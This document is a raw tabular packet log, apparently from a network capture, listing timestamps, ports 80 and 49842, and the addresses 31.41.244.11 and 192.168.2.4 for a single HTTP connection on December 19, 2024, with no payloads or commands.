Dec 19, 2024 20:11:43.037666082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.037708044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.037836075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.037883043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.038595915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.038635969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.038846016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.038887024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.039530993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.039566994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.039582014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.039622068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.040441990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.040482998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.040503025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.040544033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.041325092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.041501999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.041726112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.041774035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.042124987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.042172909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.042246103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.042294979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.043174028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.043219090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.043517113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.043693066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.044255972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.044301033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.044425964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.044470072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.045022011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.045058012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.045128107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.045167923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.045814037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.045849085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.046057940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.046354055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.046627998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.046674013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.046690941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.046787024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.047456980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.047502041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.047651052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.047736883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.048451900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.048500061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.048552990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.048645020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.049293041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.049336910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.049674988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.049716949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.050199032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.050240993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.050318956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.050358057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.051100016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.051137924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.051264048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.051301956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.052043915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.052090883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.052170992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.052217007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.052973986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.053019047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.053505898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.053549051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.053904057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.053949118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.054235935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.054287910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.054769039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.054811954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.054943085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.055072069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.055548906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.055588961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.055772066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.055809975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.056541920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.056582928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.056802034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.056849957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.057408094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.057465076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.057826042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.057890892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.058412075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.058453083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.058507919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.058558941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.059114933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.059163094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.059743881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.059791088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.060018063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.060338020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.205421925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.205631018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.205704927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.205744028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.205787897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.205842018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.205892086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.206657887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.206809998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.206861019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.207551956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.207602024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.207664013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.207710981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.208437920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.208499908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.208700895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.208770037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.209342957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.209450960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.209728956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.209777117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.210355997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.210398912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.210454941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.210498095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.211119890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.211343050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.211401939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.212027073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.212084055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.212151051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.212198973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.212939978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.212986946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.213057041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.213104010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.213896036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.213948965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.214006901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.214052916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.214723110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.214807034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.214898109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.214946985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.215610981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.215687037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.215708971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.215754986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.216623068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.216752052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.216800928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.217596054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.217641115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.217844009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.218111038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.218389034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.218434095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.218636036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.219265938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.219330072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.219357967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.219407082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.220185041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.220242023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.220280886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.220334053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.221355915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.221414089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.221457005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.221503973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.221956015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.222012997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.222249985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.222301960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.222824097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.222886086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.222927094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.222994089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.223766088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.223814011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.223956108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.224209070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.224630117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.224706888 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.225087881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.225203037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.225600958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.225620985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.225652933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.225672960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.226457119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.226622105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.226690054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.227366924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.227379084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.227430105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.228260994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.228317022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.228941917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.228991985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.229160070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.229211092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.229850054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.229908943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.229995966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.230040073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.230138063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.230252981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.230962992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.231070042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.231342077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.231395960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.231791019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.231848955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.232234955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.232284069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.232690096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.232738018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.233191013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.233623028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.233684063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.233716965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.233767986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.234507084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.234790087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.234850883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.235362053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.235413074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.235584974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.235632896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.236242056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.236289978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.236459017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.236507893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.237245083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.237299919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.237696886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.237796068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.239288092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.239332914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.239356995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.239506960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.239542961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.239551067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.239587069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.239614010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.241228104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.241374016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.241385937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.241437912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.241724014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.241776943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.241902113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.241915941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.241955042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.242578030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.242815971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.242876053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.243429899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.243480921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.243516922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.243562937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.244307995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.244354010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.244414091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.244488001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.245220900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.245275974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.245466948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.245544910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.246104002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.246148109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.246233940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.246280909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.247004032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.247054100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.247626066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.247987032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.247998953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.248047113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.248080015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.248811007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.248943090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.249000072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.249814987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.249877930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.249908924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.249958992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.250999928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.251106977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.251513958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.251527071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.251564026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.251658916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.251739025 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.252338886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.252541065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.397490025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.398190975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.398304939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.398422003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.398467064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.398544073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.398873091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.398885965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.398924112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.399844885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.399903059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.400158882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.400204897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.400763035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.400818110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.401082993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.401134968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.401618004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.401631117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.401671886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.402499914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.402622938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.402677059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.403373003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.403429031 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.403465033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.403513908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.404308081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.404356003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.404437065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.404480934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.405144930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.405193090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.405277967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.405318022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.406023979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.406096935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.406558990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.406977892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.407022953 CET	49842	80	192.168.2.4	31.41.244.11
